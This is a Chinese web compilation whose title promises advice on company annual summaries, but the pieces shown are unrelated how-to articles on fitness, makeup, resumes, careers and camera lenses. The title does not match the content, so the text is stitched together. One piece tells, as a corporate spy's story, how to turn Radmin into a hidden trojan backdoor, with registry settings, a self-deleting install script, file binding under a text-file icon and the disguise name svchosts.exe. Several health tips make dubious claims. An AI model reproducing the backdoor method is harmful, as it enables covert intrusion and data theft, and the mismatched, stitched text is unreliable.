教你如何写出完美的公司年度总结（精选20篇）由网友“阿茹”投稿提供，下面是小编为大家整理后的教你如何写出完美的公司年度总结，供大家参考借鉴，希望可以帮助到有需要的朋友。
篇1：教你如何塑造完美曲线
1、想要有好身材，就要去做肌肉训练
有没有发现自己大腿、小腿以及手臂上的肉变得越来越松弛？这是因为肌肉的肌力便托，导致体脂肪增加。通过一系列的肌肉训练，可以增加身体的肌肉量，从而减少体脂肪，如此，持之以恒就能拥有完美曲线啦。
2、并不是“动”了就能有好身材
想要有好身材，首先要有正确的运动姿势。否则，就算你运动的时候满头大汗，肌肉酸痛，也只能是“瞎动”。而且，长时间用不正确的姿势运动，会造成肌肉伤害。
3、常要加班，无法定时做肌肉训练，怎么办？
如果加班太累，那就休息吧，不要勉强自己，只休息一两天是不会影响肌肉塑形的。
4、进入中年也可以锻炼肌肉
人体的肌肉是不分年纪的，只要给予适当的刺激，就会开始变得强壮。因为肌肉的生长没有年龄限制，只要开始做肌力训练并持之以恒，即使中年也可以拥有紧实身材！
在你去健身房塑形之前，还需要有两个注意事项：
1、一双专业的跑鞋
一双专业的跑鞋才能够让你在跑步的时候不轻易受伤，而且切记，运动一定要量力而行。当你迷上了跑步的时候，不要一味地觉得“爽”就超量。每个人的健康状况和承受能力都不同，循序渐进地锻炼自己的身体机能，才能够健康有效地达到运动的意义。如果“过量”，超出了肌肉所能承受的范围，不但会导致隔日酸痛，还可能在运动时拉伤。
2、你需要有一件“战衣”
所谓人靠衣装，谁知道你去健身房会不会有艳遇？一件时尚的运动Bra就能让你迅速吸睛，而且专业的运动Bra的设计非常透气，运动时，绝对不会有“闷汗”的情况发生。
篇2：教你如何宅出健康
只要你用对了方法，即便你宅在家中，同样会很健康，下面就让我们一起来看看宅出健康的秘诀吧！
一、休息时做手指操
休息时做手指操，增强免疫力。中医认为，从大拇指到小拇指，依次对应人体的肺、大肠、心包、三焦、心脏和小肠，全方位活动手指，能够疏通经络，增加大脑的血流量，提高免疫力。手指操可以每天做一次，方法不限，只要充分活动了手指就行。
二、睡前练习腹式呼吸
睡前练习腹式呼吸，增强心肺功能。腹式呼吸让横膈膜参与运动，可以使呼吸更深长，达到按摩内脏、有效去除腹部多余脂肪的作用。练习时最好仰卧或坐姿，右手放在腹部，左手放在胸部，吸气时最大限度地向外扩张腹部，呼气时向内收缩腹部。经常练习就会习惯腹式呼吸，使心肺功能增强。出体外，改善新陈代谢功能。
三、喝杯蜂蜜水
每天上午喝一杯蜂蜜水，促进新陈代谢。蜂蜜是润女人的食物，它可以促使胃酸正常分泌，还有增强肠蠕动的作用，有助于将体内积聚下的废物排出。
四、顺时针按摩腹部
运动比较少的人通常会有腹部僵硬、内脏温度低的情况，从而导致血压下降、代谢和内脏机能随之衰退。通过摩擦按摩，可以有效提升腹部温度，促进内脏运动。按摩时手掌抵住腹部，沿着顺时针方向，以肚脐为圆心画圈按摩，直到腹部温度明显感到上升。夜间自然界阴气旺盛阳气衰弱我们应该多做一些滋阴、养阳的功课来帮助身体补益强身。
五、在家享受足疗
足疗四季都可以做，不过春夏的水温可以略低些。晚间在水里放一些薄荷、红莲花、灵芝浸泡双脚，在薄荷清凉的作用下，身体经络也能得到疏通，提升你的防病、祛病指数。
篇3：老外教你练成完美英文简历
在写简历，尤其是英文简历时，我们以为自己写的不错，但在外国人眼里还是有很多不足的。我们在写好简历时，可以让他们看一看，这样用词会更加地道，招聘官也会更容易相信你是一个英语功底不错的人才。下面就给大家举一个实例，希望给大家带去帮助。
正题：先对看一下修改前的一份简历：
现在跟大家分享外国友人提供的意见：
1st Part (on top): Name, address, e-mail, phone no
(第一部分：表头包括名字、地址、邮件、移动电话号码)
1.名字的格式示范：John--Zhang Sanfeng 张三丰，有必要把中文名字打上去;
2.地址可以不写宿舍号，写到班级就好了，例如：XX省XX市XX大学XX校区XX专业XX班;
3.邮件：一定不能用QQ邮箱!@前面的内容可以是自己的名字的拼音，如有雷同，在后面加数字，但是不能用出生年月的，例如：zhangsanfeng@hotmail.com;
4.联系电话：格式：4-3-4 或者3-4-4。如果是异地手机，请在前面加个“+86”。为什么强调非移动电话不可呢，那是因为保证人家想找你的时候能第一时间找到，而不像家庭电话或者宿舍固话那样，如果是舍友接了电话，分分钟有可能连工作都被抢了。
2nd Part : Brief decription of objective of candidate as to what he / she wants in life
(第二部分：职业目标，包括求职者的工作态度等。
1.参加招聘会，把应聘职位具体写上，例如：Manager Assistant for ABC Company，一定要写那后面的【for ABC Company】，这样会让人家感觉你比较有心;
2.如果是单独寄简历，可以不写具体职位，把你希望的工作环境，比如：Seeking a responsible and challenging opportunity 这种。)
3rd Part :Core Competencies ( Expertise, Qualities, Skills etc) Here you should mention your qualities in which you are an expert or good, for example, english communication with foreigners
(第三部分：自评。)
1.自评要用句点。点句的长度以一行为宜，最多不要超过两行;句数以三到五句为佳，最多不超过八句，可以再网上找。例如：E Dedicated, Focused and Sincere in Jobs;
2.下面可以写上现在的工作，把①工作职位②主要责任这两天写上，责任要以重要性为主。;
3.如果是在校生，就像我那样写专业和所学的科目，如：
E Business English Correspondence
E Contemporary Oral Interpreting )
4th Part: Work Experience: Here you should mention about your present and past work experience in sequence start with PRESENT JOB and then past. In Every job you have to mention your Responsibilities which is known as KRA (KEY RESPONSIBLE AREA)
(第四部分：工作经验。)
1.顺序由近到远，就是说从最近的一份工作开始说，如果你有很多份工作的经验，那么挑与应聘职位有关系的写;
2.每个职位下面要写上你的职责，也要用点句，注意用词，例如：请比较
①Update the guests with free-shuttle-bus services plans
②Offered informations of the free-shuttle-bus to the guests
第一个明显让人感觉比较专业和顺眼，用词也可以让简历升level的
5th Part: Educational qualifications (Academic and Professional)
(第五部分：教育背景)
1.在读学校或者是毕业学校，不用提供详细地址;
2.如果在第三部分已经写了专业，那在这里就不用再重复写了;
3. 如果在第三部分没有写了专业，那在这里就有必要提)
6th part:HONORS & AWARDS
(写在校获得的奖项、荣誉称号等)
7th part：campus activities
(学校活动，如社团、学生会团委等，基本上都是“当过什么领导“之类的话)
8th Part: Personal Information: Fathers Name, Passport Details, Driving License Details, Languages Known etc
(第八部分：个人信息，包括护照、驾照、掌握语言、电脑技能、证书等)
1.有的就写，没有就不写，扬长避短;
2.语言部分，例如偶是广州人，而且在学日语，所以我的语言掌握就写了4个，粤语、国语、英语、日语~看起来很厉害;
3.电脑技能，像PS、Office就写上去吧~实在没信心就不要写了;
4.证书，因为我还没有多少能拿出手的，所以不写了。
9th part: 爱好
爱好这里，不要写“听歌、看美剧、歌唱”之类的!!!!人家要个会煲剧的干嘛呢?要写就写
1. “篮球、足球”这类体现团队精神的;
2. DIY、设计这类的跟工作有关的;
3. 读书等比较有修养的
(这部分有虚假成分的可能性比较高~)
篇4：几招教你打造完美事业线！
完美事业线不用羡慕，你也可以有，快来一起学习如何打造完美事业线吧！
蝴蝶机夹胸
蝴蝶机夹胸的好处是加在胸肌上的张力恒定，不会因手臂位置的变化而变化。由于可采劝桥”式动作，并使双肘相触，故动作幅度可更大，安全性更好。不仅中下胸缝（平卧哑铃飞鸟的主要刺激区域），对整个胸缝都有很强的刺激作用，且可通过变换握把形式着重刺激胸缝上部。
正确的动作是：坐于凳上，手握把手，肘弯抵住档板。如觉坐的位置偏高或偏低，可调节坐凳的高度。动作幅度可通过上面两侧的半月形板的孔位调节。采用“桥”式动作，即只将上背贴在靠板上。打开时充分吸气、挺胸，双肩竭力后展，注意力完全集中于胸缝。通过控制，使胸部肌肉充分伸展。如对镜练，应注意观察胸肌的伸展，这样可以更好地集中注意力。合拢时双肘档板应相触，并略做停顿，进行顶峰收缩1～2秒钟。这时感觉会更费力，不像哑铃相触时更省力。只能通过尽力收紧胸肌，或相距少许距离即分开（不等胳膊与身体平面呈垂直状态）来弥补张力的流失。次数为8～15次/组，逐降重量做3～5组。
为了更好地刺激上胸缝，可以变换一下握把方式：双臂如侧平举状伸直，拳眼向前，以腕部或小臂（以手臂长短定）抵住档板做夹胸动作。由于双臂可以交错，动作幅度也很大。这个动作的特点是通过充分挤压上胸部，使两侧胸及立”起来，这当然是我们非常想要的结果。做3～5组，每组8～15次。
仰卧哑铃飞鸟
仰卧窄凳（宽20～25厘米）上，双手持铃，小臂与大臂呈135度左右的夹角，动作过程中不要为了助力而勾起颈部使头离开凳面。
下放哑铃时注意力集中在胸缝处，靠胸肌的张力控制住哑铃缓慢下放，同时充分吸气、挺胸，幅度要完全到位。上举时要靠胸肌的收缩带动双臂向上环抱，直至哑铃相触，这样可避免肩背过分参与用力。为了使动作更加准确，可想像去抱一个大的啤酒桶。
该动作除了小臂与大臂之间保持135度的夹角外，整个臂形应撑圆，手腕略内收，形若环抱。如果仅以手臂紧张僵硬地勾住哑铃，发力就很容易以肩部为起动点，虽然看起来是在努力做飞鸟动作，其实是“貌合神离’，主要锻炼的是肩部三角肌前束，对胸肌中缝部的作用很小。
为了充分牵拉胸肌纤维，采用的重量也要适度，以8～15次/组为宜。第一组应为15次左右，然后做3组10～12次，最后一组可降至8次，一共完成5组左右。飞鸟练习有别于卧推，卧推可在多组训练后将次数降至1～3次，效果仍很好。飞鸟则需要以一定的次数来累积刺激中缝肌肉，过重的负荷既影响动作幅度、拉伸的效果，又容易对肩肘部造成伤害（6次以内职业运动员也很少采用，而且支撑困难，有一定的危险）。
训练中有人喜欢勾住颈部，将头抬离凳面助力。这是一种很不好的习惯。抬头必然窝肩做动作，不利于充分吸气、挺胸。窝肩发力主要是肩背部，对胸部几乎没什么锻炼作用。为了纠正这一错误，可先降低重量，将次数定在12次左右，刻意体验一下正确的发力方式，待动作定型后再逐渐增重。
篇5：一字千金，教你处理完美人际关系
一个人的成功，15%取决于他的专业知识，85%则取决于他的社交能力，只有他掌握了与人交往的技巧，他才会拥有一个好人缘，在通往成功的道路上，他才能左右逢源、如鱼得水,因此人际交往是生活中的重要组成部分。
一字千金，教你处理完美人际关系
一、社会交往――教你建功立业
（一）“谦”
处世唯“谦”字了得，若一味狂妄自负、骄傲自大，只会失去处世的根本，落得个孤苦伶仃、千夫所指的骂名下场。
（二）“淡”
为人处世，交朋待友，对势利纷华，似乎不必太过于苛求，当以“淡”字当头。看淡些，看开些，人生也就豁然开朗，有滋有味了。正如“平平淡淡才是真”。
（三）“俭”
不懂得“俭”字的人，不知道如何成功，任何成功的事业都在于点滴的积累；不懂得“俭”字的人，只会丧失成功，过分的骄奢多败人品质。“俭以养德”，为人做事之良训。
（四）“自”
做一个有个性的人，给自己一点自信！成功的道路靠自己闯，美好的前途来自于自强自立，不屈服于任何权威，用自我的努力找到属于你的自尊。男儿立世，自己拍板！
（五）“礼”
生在礼仪之邦，做一个彬彬有礼之人。有礼之人会做人，有人缘，多朋友。有礼之人会做事，注重形象，有教养，不树敌，成功路上事事顺。
（六）“正”
做一个正直的人，做一个人格健全完善的人，受人崇敬。做一个自私的人，做欺心的事，疾贤防能，与成功无缘。
二、形象塑造字诀――教你品格高雅
（七）“志”
给自己一根足够长的杠杆，希望转动地球。给自己的人生立个志愿，树个目标，树个偶像，脚踏实地，成功的意识需要培养，先立志，再与成功约会。
（八）“时”
做人要惜时，做事要守时。塑造自己的形象，现代人离不开时间观念。合理安排自己的时间，有效利用自己的时间，守时、惜时、不拖延。
切记：时间就是金钱。
（九）“勤”
多一些努力，便多一些成功的机会。无数事实证明：成功的最短途径是勤奋。不要光耍嘴皮子，不要好逸恶劳，勤字当头，苍天不负有心人，天道酬勤！
（十）“实”
踏踏实实做人，实实在在办事。任何一个双手插在口袋里的人，都爬不上成功的梯子。给人留下一个实在的形象，给自己的成功增添一份夯实的基础，从实际出发，对自己负责。
（十一）“专”
有专才有恒，有恒才有我。
你生活在一个知识大爆炸的时代，如果你是一个天才，不专心就成了你的不幸；如果你资质平凡，请不要悲观，只要你下定决心一辈子做好一件事，你就能成功。年轻人，千万别给人留下一个朝三暮四的形象。
（十二）“慎”
人生漫长，又短暂，关键的就几步。人性丛林，职场事业，利益多多、诱惑多多。老成不怕多，凡事应多三思，不怕一万，就怕万一。一旦伸错手，入错行，做错事，于名誉，于事业，于形象皆有不救之危。
“慎”之！
三、自我提升――教你拯救命运
（十三）“硬”
做人难，做事难，面对千难万阻，要提升自我，不来点“硬”的怎么行？如果事有勉强，应该敢于说“不”；如果是正当利益，则应当仁不让；甚至，有时还得来点霸王硬上弓，要有“脸皮厚”的时候，也要有“头皮硬”的时候。
（十四）“斜”
一家海鲜连锁餐厅的老板很可能当初是水产市场练滩儿的，而一家皮鞋连锁店的老板当初可能是擦鞋的。欲做大事，赚大钱，必先做小事，赚小钱，放下架子，舍得小利。从细微处入手，先扫一屋，再扫天下！
（十五）“通”
穷则思变，变则通。识时务者为俊杰，通机变者为英豪。通往成功的道路不是一条，又何必在一棵树上吊死呢？抓住成功的关键，东方不亮西方亮，不管它是黑猫白猫，重要的是它能否逮“耗子”。
（十六）“锐”
小小麻雀，飞飞跳跳、争分夺秒，不停地寻觅食物。人生亦如此，面对残酷竞争，惟有锐意进取，做一个好先锋，把下一个进球当目标，敢于冒险，敢于闯荡，守株待兔的事情毕竟很渺茫。
（十七）“创”
提升自我，就要有胆有识去超越自我。何谓超越？超越就是吃螃蟹，就是创新。同时创新就意味着冒险，所谓富贵险中求。想人家想不到的，做别人不敢做的，敢为天下先，在于思维的转换。
（十八）“言”
把赞扬送给别人，就像把食物施舍给饥饿的乞丐一样。古往今来，不知有多少人，凭着三寸不烂之舌，改变了自己平凡的命运。说话幽默，找共同语言……一个“言”字，一生受用。
四、人际互动――教你赢得朋友
（十九）“宽”
人际互动，应着眼于未来，不念旧恶。原谅别人，是对待自己的最好方式――为你的仇敌而怒火中烧，烧伤的是你自己。做人做事，心胸不可太狭隘。海纳百川，靠一棵宽容的心！
（二十）“敬”
人要面子树要皮。人存在于社会上，要扮演各种各样角色，特别是在互相的交往中，需要一定的尊严来支撑，这是人性的弱点。明白了这点，才能体会到“敬”字的必要性。
想拥有良好的社交和人际关系，我们必须先从自已做起，得到良好的信任和诚信才能得到更多的朋友。
篇6：教你如何画出完美桃花妆
教你如何画出完美桃花妆
Step1：选择控油效果好的BB霜。在手背上挤出黄豆大的BB霜粒，指腹蘸取后点涂全脸，然后轻轻推开并保持力道适中。
Step2：利用眼部遮瑕膏在黑眼圈处点涂，点涂的时候以按压方式推开，手指的温度能让遮瑕膏更好的服帖于眼部周围。
Step3：肤色均匀白皙外并不能有很好的光泽度，所以需要借助珠光高光粉来局部提亮。指腹蘸取少量高光粉，从鼻梁上方往下放小心涂抹。
Step4：另外在眉峰下方点涂少量珠光粉，指腹拍打开形成自然的提亮效果。
Step5：为了营造完美的底妆，选择控油效果好的蜜粉，用粉扑蘸取后在T区轻轻拍打，鼻翼两侧稍微按压。
Step6：找到灰色眼线笔，从眉峰开始轻轻勾勒完美眉形，然后利用笔的侧面将眉头填满。
Step7：首先选择珠光白眼影，蘸取少量后从眼窝中间向四周晕染开。
Step8：用干净的眼影刷蘸取淡粉色眼影，从眼窝中间或眼皮褶皱处勾勒一道弧形，然后往下蔓延开，如图。
Step9：找到深粉色眼影，在手背上刷掉多余粉末，然后沿着睫毛根部像画眼线一样勾画眼影。
Step10：选择黑色的转芯眼线笔，从眼头位置往眼尾沿着眼型勾勒适合自己的眼线。在眼线的后半部分稍微加粗线条，要知道这是眼妆的基础哦。
Step11：桃花妆选择的是浓密型假睫毛，在睫毛根部基础适量的胶水，顺着眼线小心的粘贴起来，如图。
Step12：为了让眼妆保持完美，下假睫毛是不容忽视的。从下眼睑尾部小心的粘贴下睫毛，最好是一小束的那种。
Step13：在手背上挤出一点点的BB霜，指腹轻轻拍打后就沿着唇部按压起来。
Step14：最后，选择红色的唇膏，沿着下唇瓣中间轻轻点涂起来，分量不宜太多。指腹将唇膏推向双唇，营造自然的红润感。
古典桃花妆
古典桃花妆在使用BB霜和双色散粉打好底妆之后，再涂上大地色眼妆来提高神韵。整个妆容的重点在于腮红的画法，由颧骨下方略斜向耳际处晕染腮红，营造双颊的微醺感。
甜美桃花妆
甜美桃花妆粉色的眼影是化桃花眼的最好利器，用化妆刷蘸眼影轻扫眼皮与睫毛相接处，可以淡化腮红，唇部涂上淡淡的嫩粉色唇蜜，唇蜜比唇膏更容易化出嘟嘟唇的感觉，甜美的桃花妆就完成啦。
性感桃花妆
性感桃花妆用幽蓝细描羽翼般的眼线，无限延伸眼角眉梢的魅惑，在眼窝处化眼线也是今年T台上的美妆新潮流。除此之外，由颧骨至眼尾轻刷腮红，唇间略施脂粉，眼部透露的小性感就被无形地扩大了。
篇7：教你迈出完美职场第一步
教你迈出完美职场第一步
新人刚刚进入公司的时候心态往往是不大稳定的，据调查显示，职场新人尤其是应届毕业生离职率最高的一段时间，是参加工作1.5年~2.5年之间，而一些从事零售业的员工最容易离职的时间更是短到入职仅仅两周之内。造成这种结果的原因一方面是因为对行业和预期目标产生了失望情绪，而更多的是因为没有很快地融入团队之中，学会和同事、领导及客户进行良好的沟通。如何在适应工作的过程中避免“交流的无奈”，不让自己成为令旁人避而远之的眼中“另类”，这关系到职场新人能否迈出完美的第一步。
全身心投入岗前培训
今年刚大学毕业的萌萌进入了一家保险公司工作，上午和其他新同事去人事处报到时领到了一本《新人培训手册》，“说是要我们抓紧好好研读，过几天还要考试。”萌萌知道这意味着她即将要放弃某些理念和行为方式，努力适应新行业新组织的要求和规范，学习新的工作方式和行为方式。
接下来的几天时间里，公司请到了几位业内经验丰富的行业专家和大学教授在会议室跟新人们授课，周末还安排在广州郊区进行了整整两天的户外拓展训练，让大家冒着40摄氏度左右的高温接受站军姿、爬人梯、打野战等训练任务。萌萌有几次感觉自己快要晕倒并想要放弃，但最后还是咬牙坚持了下来。
“在短短一周的培训过程中收获确实不小，尤其是和新伙伴们一起并肩作战的感觉真好！”萌萌笑着对记者说道。通过岗前培训，新人在短时间内实现思维模式的重大突破和生活方式、工作理念的.重大转变，并且有可能产生质的飞越。
练好抗压能力、忍受力
广州嘉诚海外的夏经理对记者表示，今年公司的网站上每天都有大量的推荐信发过来，因为业务需求也招进了不少有着高学历或是留学归国的新人，
而新人来公司后面临最重要的问题就是首先要能承受得起巨大的压力，必须在规定的时间内将公司分配的任务很好地完成，否则就会给客户带来经济损失。这其中尤其对新人的细心程度有非常严格的要求。
“稍微错一点哪怕仅仅是在表格上打错了一个钩，即便其他细节之处都处理得非常完美，不仅会让整桩生意泡汤，甚至会因此耽误了客户的一生。”夏经理称，“错误的后果就是‘灾难’，这样做的结果只会让新人白干了一场最后走人。”
夏经理同时还谈到，对于从事服务类行业的新人而言，在客户冲自己发脾气的情况下也不能够顶嘴，“即便事实上客户的说法全部错了，也要自己甘愿默默受委屈。”
如今，不少职场新人都是从小在父母呵护和关爱之下成长起来的，在学校的时候凭借优异的成绩也获得了老师和同学们的喜爱和追捧，一旦步入一个完全陌生的工作环境之后，很容易在心理上产生极大的反差。
而面对种种委屈和不满，能够很好地磨炼自己的性情和脾气，这也是无数后来事业有成的成就人士的必修课。
六种讨厌人格要不得
新人在初进职场时，要对自己的言行处处小心、时时留意，尤其是不要成为周围同事和领导心中“排斥”的对象，否则一旦在人们的脑海中留下了不好的印象，就有可能影响到今后职场生涯的顺利进展。
以下就是职场中最令人讨厌的六类新人的类型，
篇8：高手教你打造完美后门
有一次，Cytkk成功取得了北京某广告公司创意部门计算机的Shell，准备窃取某个重要商业资料，在搜寻到的一份项目进度报告书中，他发现原本需要的创意设计被推迟到两天后由设计部门提交。Cytkk只得想办法在此台计算机上留下后门，以待两天后重回旧地守株待兔……
完美后门
因为这是笔大买卖，所以不容有闪失。作为商业间谍的Cytkk知道，信誉非常重要。
凭借着职业的敏锐感，Cytkk开始飞快思索后门的“人选”。普通的木马程序当然是不能用的，因为防病毒软件可不是吃素的……正在难于抉择之际，一款商业软件的名字跃然闪现在Cytkk的脑海——Radmin！一款商业化的远程控制软件。
既然Radmin有着商业软件的外衣，那自然杀毒软件也就不会与它为难！但Radmin虽说不会被查杀，但却有着先天的不足——服务端运行后在任务栏有图标显示，且服务端由3个文件组成（1个EXE文件，2个DLL文件），需要人工在服务端填写口令才可以正常连接并操控，而且最令人头痛的是服务端不具备自启动功能。
想到这些，Cytkk眉头微皱，但凭借着多年的技术敏锐感，一款改造后的Radmin服务端形象出现在脑海里，一个完美的木马后门：服务端由单一EXE文件组成，运行后无明显痕迹、无需人工干涉即可自动填写注册信息到注册表，添加自身到系统服务启动项……Cytkk就这么一边构想着，一边将鼠标移到了自己电脑的“开始”菜单上……
改造Radmin
1.Cytkk决定先去除Radmin在服务端运行后的任务栏标志。进入Radmin“服务端设置”中的“设置参数”（见图1），在“隐藏状态栏图标”前打上√，这样原本在服务端运行后会在状态栏有图标的弊端就剔除了。
2.然后根据自己的需要，更改连接端口号，设置成不常用的1986端口。其它地方可不作修改（值得注意的是“日志”选项，千万不要因为错选“保留记录文件”从而留下“罪证”），点击“确定”退出。
3.点选“设置密码”来设置连接时的密码******。
4.一切设置妥当后，Cytkk先在自己机子上安装了服务（因为Radmin工作原理的特殊性，配置信息并非记录在服务端程序内，而是在相关的注册表键值内）。待软件提示成功安装服务后，Cytkk打开注册表编辑器，找到：HKEY_LOCAL_MACHINE\SYSTEM\RAdmin 键值，点击“导出注册表”并保存成单独的r_server.reg文件，用记事本打开后，发现其中内容如下（根据设置的不同，参数会略有出入）：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTE
M\RAdmin]
[HKEY_LOCAL_MACHINE\SYSTE
M\RAdmin\v2.0]
[HKEY_LOCAL_MACHINE\SYSTE
M\RAdmin\v2.0\Server]
[HKEY_LOCAL_MACHINE\SYSTE
M\RAdmin\v2.0\Server\iplist]
[HKEY_LOCAL_MACHINE\SYSTE
M\RAdmin\v2.0\Server\Parameters]
“NTAuthEnabled”=hex:00,00,00,00
“Parameter”=hex:9c,ee,06,f2,9b,05,13,f8,6e,66,9a,06,00,24,5b,4b(这里是连接密码！其它信息不影响操作，所以不需要掌握)
“Port”=hex:c2,07,00,00(连接服务端时用的端口)
“Timeout”=hex:0a,00,00,00
************************
“LogFilePath”=“c:\\logfile.txt”
“FilterIp”=hex:00,00,00,00
“DisableTrayIcon”=hex:01,00,00,00(01表示隐藏系统右下角的图标,如改成00图标就会被显示)
“AutoAllow”=hex:00,00,00,00
“AskUser”=hex:00,00,00,00
“EnableEventLog”=hex:00,00,00,00
5.最后Cytkk麻利地在桌面新建了一个setup.bat批处理文件，在里面添加如下脚本：
@echo off
*********************** （自动安装Radmin服务端）
regedit.exe -s %SystemRoot%\system32\r_server.reg >nul （自动将r_server.reg内的配置信息导入目标机注册表）
net start r_server >nul （启动r_server服务端服务）
*******************************（删除信息文件）
del %0
注意：文中代码后括号内的内容为注释，勿输入，
超级捆绑
由于Radmin并不是“木马型”监控软件，所以它的服务端是由r_server.exe、raddrv.dll、AdmDll.dll三个文件组成，而一般的“木马”服务端通常只有一个可执行文件。这是个比较麻烦的硬伤，但这难不倒Cytkk，他熟练地运行了一款名为“超级捆绑”的软件。
1.在界面点击右边白色图标，将Radmin服务端的三个文件添加进文件列表，捆绑方式设置成“按文件捆绑方式”，然后点击右边的“高级”按钮进入详细设置，在“常规”选项内（图2），将图标自定义为一个文本文件以增加更好的隐蔽性，文件大小则采用默认。
2．随后，Cytkk又将“属性”中的“只读”、“隐藏”和“系统”三项全部选中，这样就使捆绑后的文件更具隐蔽和安全性。
3．Cytkk点击“运行”标签，出现捆绑程序运行设置，将文件分解运行目录设置成 “在捆绑后的文件所在目录中运行”，窗口状态则设为“隐藏窗口”。
4．他将“参数”页面内的全部个性化设置选项前面的√取消。点击“确定”退回上级窗口，最后设置好捆绑文件输出路径。为了增强隐蔽性，可以将捆绑后的执行文件更名，Cytkk将它命名为svchosts.exe。
5．点击“合并”就完成了服务端的文件捆绑工作。现在的Radmin已经基本上从一款商业化的远程控制软件变成了一个不折不扣的木马了。
善后
到此，Cytkk认为整个改造工作差不多完成了，马上进行关键的收尾工作，即将编辑好的setup.bat以及最先导出的r_server.reg连同捆绑后的svchosts.exe这三个文件用WinRAR打包成自解压程序。
篇9：教你完美驾驭超广角镜头
新的一年，是否想为自己添购一颗超广角镜头呢?想体验超广角的独特魅力，首先要选择合自己的超广角镜头，一般来说，超广角镜头的选择基准，取决于自己手上的 DSLR 是全片幅或 APS-C 规格，加上专业的摄影配件，才能将超广角镜头能力彻底发挥，解放前所未有的超广角构图视野。
完美驾驭超广角镜头，体验独特影像魅力
超广角镜头带来的强烈透视感，无论是拍摄风景、建筑、室内空间，或是带景的人像照，那特有的影像张力总是让人爱不释手!但超广角镜头若驾驭不当，失真的景物就会破坏画面的平衡和美感，造成反效果。
选对超广角镜头
超广角镜头泛指的是焦距短于24mm的镜头(例如20mm)，虽然容易造成景物的倾斜及变形，不过和鱼眼镜头相较仍可以拍出直线影像。但要注意的是感光组件尺寸会影响镜头的视角，在APS-C片幅的机身上，焦段需要再乘以1.5或1.6倍才是等效焦长，因此对应全片幅和APS-C片幅的机身，超广角镜头会有不同的选择。
距离15mm的场合为例，白框内是APS-C成像范围
在选购镜头时，要特别注意它是对应哪一种片幅的机身
一般广角镜头和超广角镜头的视角比较，(上图)28mm，(下图)17mm
举例来说，Canon EF 16-35mm F2.8L II USM在全片幅机身上是超广角镜头，不过在APS-C的机身上，就成了25-56mm的一般广角焦段，
而专门为APS-C片幅设计的超广角镜头，例如Tokina AT-X 11-16mm F2.8 PRO DX II，则会因有明显成像圈而不适合用在全片幅的机身上，所以玩家在选购超广角镜头前须多加留意。
APS-C镜头用在全片幅机身的影响
11mm
13mm
15mm
16mm
由于针对APS-C片幅量身订做的镜头款式，其成像圈比全片幅来的小，因此当该系列的镜头装于全片幅的机身上，就会产生明显的成像圈。举例来说，Tokina AT-X 11-16mm F2.8 PRO这颗专为APS-C片幅设计的镜头，装在Canon EOS 5D Mark III上要到16mm端才可以正常拍摄。
篇10：教你如何塑造完美翘臀
教你如何塑造完美翘臀
1、常爬楼梯
保持完美臀线据调查山城的妹子屁股最翘，原因就是重庆的地势让人天天处于爬山的状态。下定决心，从现在开始每天上下班或者回家只要有楼梯就一定要用爬的，别再犯懒坐电梯了，完美的臀形就是这么一天天的塑造的。
2、高抬腿
春季天气变暖，每天保持做100下高抬腿，既锻炼了身体又能达到很好的提臀的效果，而且这种运动是特别适合春天的运动哦，在家也能轻松完成。
3、做家务
塑美臀做家务是一种最能锻炼身体，又能体现家庭生活的重要的方式。在扫地、拖地时，双手握紧扫帚或拖把柄，用力将其尽量伸向远一点的地方，这样一来，臀部的力度自然会增大，双臂运动的力度也随着加大，其塑臀的效果更好。
4、看电视边运动
把臀部的三分之一坐在沙发上，然后在看电视的情况下，感觉全身动态，特别关注的地方就是臀部了，只要臀部用力就好，保持这个姿势，一节电视剧的时间，你的臀部就会有明显提升。
5、上网时间
收紧臀部当你坐在计算机或电视前时，慢慢紧缩臀部肌肉，把重心都收在腰椎底部，然后尽量保持这个姿势，然后再放松整个肌肉，重复多做几次直到累了为止。但mm们要注意哦，在进行时不要让身体前倾或靠脚帮忙维持重心。
6、穿穿高跟鞋
提臀又收腹经常穿高跟鞋不止可以让女性看起来更高，其实它还能锻炼到臀部，收紧腹部肌肉。据美国研究，穿高跟鞋走路的女性会不自觉地收臀，收腹，从而有效地使臀部和腹部肌肉变得结实。想瘦臀的MM，可以每天穿高跟鞋慢走30分钟，会有意想不到的效果哦。
7、睡前适当按摩
紧致臀部肌肉每晚睡前，或者是沐浴后的时候，全身的肌肤正处于放松的状态，这时用手用力搓揉臀部的每寸肌肤，就能提醒肌肤要开始收缩紧致了。如果按摩后再抹上美臀产品，长期坚持下去，就能轻松拥有性感的美臀。此外，欲了解臀部运动让你轻松达到提臀。
8、按摩淋巴
双手呈掌，从肚脐向下推动，力量适中，然后把推动的脂肪集中，通过淋巴运动燃烧。将脂肪移到臀部，然后从大腿后侧向上推动，吧脂肪移动的臀部位置，然后双手拖住臀部，把臀部向上提拉，用潜意识记住这种感觉。
篇11：基本原则教你制作完美简历
十二条基本原则教你制作完美简历
不要只列出过去的职责--要强调你如何做出成果，例如拉到新的生意、控制预算、节省开支、引进新理念-要显示出你的与众不同。用精准的事实和数据把成就量列清楚。
在招聘者的挑选过程中，履历表是你唯一能够全权控制的部份，至于写出来的履历表如何，则与你所做的准备功夫成正比。你会发现若要写出“致胜”文件需要意见和指导，不过让我们先来看看几项基本原则：
1.内容资料要简单扼要。
2.避免咬文嚼字以及令人难以理解的措词。
3.用第三人称的立场写作(彷佛描述另一个人)，如此你便可以强调自己的成就，又不会显得自吹自擂。这是最标准的引荐方式，也能增加内容的权威性。
4.不要只列出过去的职责，要强调你如何做出成果，例如拉到新的生意、控制预算、节省开支、引进新理念-要显示出你的与众不同。用精准的事实和数据把成就量列清楚。譬如说，“行销量提高了25”远比“大大提高行销量”好得多。
5.采用文字处理机创造专业形象，并设计一份文件格式，可以适用于特定的申请之用。
6.采用质优白纸--色纸影印的`效果很差(履历表经常会被影印成许多副本，在公司里流传)。基于同样理由，也不要把履历表钉成一份。
7.采用效果良好的打印机，如果你给的是影印本，效果要很好。这点绝对不要随便将就，必要的话，可以找家印刷公司。
8.需要强调的部份采用粗体字，但是不要用太多花稍的字体或斜体字，因为会分散对方对于重点讯息的注意力。
9.版面设计必须吸引人而且容易阅读，包括一般内文以及特别框示起来的文字。
10.采用强而有力的字眼显示你如何取得成果，例如：
获得创造发动
贯彻增加坚决
重建革新管理
凌驾促成解决
11.最多以两页为限，并且一定要把重点写在第一页。
